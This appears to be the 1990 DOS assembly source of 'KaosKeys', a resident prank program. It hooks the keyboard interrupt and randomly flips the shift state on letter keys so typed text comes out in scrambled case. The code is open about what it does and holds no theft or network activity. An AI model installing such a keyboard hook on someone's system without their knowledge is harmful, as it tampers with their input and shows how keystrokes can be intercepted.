  
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл                                                                      лл
;лл                             KaosKeys v1.0                            лл
;лл                                                                      лл
;лл        Copyright (C) 1990  Philip Maland  All Rights Reserved        лл
;лл                                                                      лл
;лл                        Created:  May 25, 1990                        лл
;лл                                                                      лл
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
  
  
Seg_a		Segment
		Assume	cs:Seg_A, ds:Seg_A
  
  
		org	100h
  
Start:
		jmp	Install			; Go to installation routine

;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл  Int 09h - New Handler                                               лл   
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл

Int_09:
		push	ax			; Save the world
		push	bx
		push	cx
		push	dx
		push	es
		pushf

		in	al,60h			; Get scan of code key pressed
						; into AL
		mov	bl,32h			; High char to check ('Z')
		mov	bh,10h			; Low char to check  ('A')
		call	ChrRang			; Is AL between 'Z' and 'A'?
		jc	End_09			; No, it isn't an alpha key

		mov	bl,1Dh			; High char
		mov	bh,1Ah			; Low char
		call	ChrRang			; Since we are using scan codes
						; there are some keys between
						; 'A' and 'Z' that aren't alpha
						; keys.  This check for one
						; set of non-alpha keys.

		jnc	End_09			; Yes, it isn't an alpha key

		mov	bl,2Bh			; High char
		mov	bh,27h			; Low char
		call	ChrRang			; This checks for the other set
						; of non-alpha keys.

		jnc	End_09			; Yes, it is in this set, so it
						; isn't an alpha key.
		
		mov	ax,10			; Get random number between 1
		push	ax			; and 10 and push it on the stack
		call	Random			; Random number between 1 and 
						; 10 is returned in AX
		cmp	ax,5			; Is the number greater than 5?
		jg	End_09			; Yes, so leave the key alone

		mov	ax,0			; Point ES to low memory (0000)
		mov	es,ax
		mov	al,byte ptr es:[417h]	; Get shift flags
		test	al,3			; Are any of the shift keys pressed?
		jz	SetShift		; If not, turn on the shift flag
						; for the right shift key.
;л
;  Here we know a shift key is pressed.
;л
		mov	cs:SaveShift,al		; Save the shift flags

		and	byte ptr es:[417h],11111100b	; Clear the shift key
							; flags.
		jmp	CallRest

SetShift:
		mov	cs:SaveShift,al		; Save the shift flags
		or	byte ptr es:[417h],01	; Set the right shift key flag
		jmp	CallRest

CallRest:
		popf				; Restore all registers
		pop	es			; and call the Int 09h handler
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		pushf
		call	dword ptr cs:[Old_09_Ofs]

		push	ax			; Save the regs were gonna use
		push	es
		pushf

		mov	ax,0			; Point ES to low memory again
		mov	es,ax
		mov	al,cs:SaveShift		; Get the saved flags
		mov	byte ptr es:[417h],al	; Restore them back to the
						; flag status byte in low memory.

		popf				; Restore the registers
		pop	es
		pop	ax
		iret				; Return from the interrupt

End_09:
		popf				; Restore all registers
		pop	es
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		jmp	dword ptr cs:[Old_09_Ofs]	; Jump to the old Int 09
							; handler

SaveShift	db	0			; Byte to save flags to

Old_09_Ofs	dw	0
Old_09_Seg	dw	0

;ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл                                                                         лл
;лл   Procedure:  ChrRang                                                   лл
;лл                                                                         лл
;лл   Call to test if a character is between or included by two characters  лл
;лл                                                                         лл
;лл     To Call:     AL = Char to check                                     лл
;лл                  BL = upper match char                                  лл
;лл                  BH = low match char                                    лл
;лл        Exit:     CF clear if valid match                                лл
;лл                  BL = undefined                                         лл
;лл                       all other registers unchanged                     лл
;лл                                                                         лл
;ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл

ChrRang:
		cmp	al,bh		; Is the char < BH
		jc	ChrRng1		; Yes, no match, return with carry
		inc	bl		; Is the char > BL
		cmp	al,bl		; Compare with upper limit
		cmc			; Invert the carry flag
ChrRng1:
		ret

;ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл                                                                         лл
;лл   Procedure:  Random                                                    лл
;лл                                                                         лл
;лл     To Call:     SP + 4 = High number for random generator              лл
;лл                                                                         лл
;лл        Exit:     AX = Random number between 0 and AX                    лл
;лл                                                                         лл
;лл                  (Taken from Turbo Pascal Random() function)            лл
;лл                                                                         лл
;ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл

Random:
		call	Rnd2
		xor	ax,ax
		mov	bx,sp
		mov	bx,ss:[bx+2]
		or	bx,bx
		jz	RndEnd
		xchg	ax,dx
		div	bx
		xchg	ax,dx
  
RndEnd:
		ret	2

Rnd2:
		mov	ax,cs:Data_3
		mov	bx,cs:Data_4
		mov	cx,ax
		mul	cs:data_29
		shl	cx,1
		shl	cx,1
		shl	cx,1
		add	ch,cl
		add	dx,cx
		add	dx,bx
		shl	bx,1
		shl	bx,1
		add	dx,bx
		add	dh,bl
		mov	cl,5
		shl	bx,cl
		add	dh,bl
		add	ax,1
		adc	dx,0
		mov	cs:Data_3,ax
		mov	cs:Data_4,dx
		ret

Data_29		dw	8405h

Data_3		dw	0
Data_4		dw	0

;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл  Int 2Fh - New Handler                                               лл   
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл

Int_2F:
		cmp	ah,0E0h			; Is this call for us?
		jne	Continue		; No, Continue with old Int 2Fh
		cmp	al,00h			; Yes, Is it an installation
		jne	Continue		;   check?  No, Continue.
		mov	al,0FFh			; Yes, set al to FFh 
		iret				; Interrupt Return
	
Continue:
		jmp	dword ptr cs:[Old_2F_Ofs]	; If not for us, go on
							;   to old Int 2Fh.

Old_2F_Ofs	dw	?			; Old Int 2Fh Offset
Old_2F_Seg	dw	?			; Old Int 2Fh Segment


;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл  Installation Routine                                                лл   
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл

Install:
		mov	ax,0E000h		; Call Int 2F to check for 
		int	2Fh			;   re-installation
		cmp	al,0FFh			; Is it already installed?
		je	Installed		; Yes, Print message and quit
		mov	ax,352Fh		; No, Get old Int 2F to point 
		int	21h			;   to our Int 2F handler.
		mov	Old_2F_Ofs,bx		; Save Old Offset
		mov	Old_2F_Seg,es		; Save Old Segment
		mov	ax,252Fh		; Set Int 2F vector to point
		mov	dx,offset Int_2F	;   to our handler at Int_2F
		int	21h			; Set it.

		mov	ax,3509h		; Get old Int 09 vector
		int	21h
		mov	Old_09_Ofs,bx		; Save Old Offset
		mov	Old_09_Seg,es		; Save Old Segment
		mov	ax,2509h		; Set keyboard vector to point
		mov	dx,offset Int_09	; to our handler
		int	21h			; Set it.

		call	Randomize		; Get random number seed
						; (based on the time)

		mov	dx,offset Install	; Set length of program
		int	27h			; Go TSR

Installed:	
		mov	ah,09			; Print string until '$' or 24h
		mov	dx,offset Message	; Print data at Message.
		int	21h			; Print it
		int	20h			; Quit

Randomize:
		mov	ah,2Ch
		int	21h			; DOS Services  ah=function 2Ch
						;  get time, cx=hrs/min, dh=sec
		mov	cs:Data_3,cx
		mov	cs:Data_4,dx
		ret
  
Message		db	'KaosKeys - Copyright (C) 1990 - By Philip Maland',00h
		db	0Ah,0Dh,0Ah,0Dh,'Already installed.',0Ah,0Dh,24h

Seg_A		ends
  
  
  
		end	Start
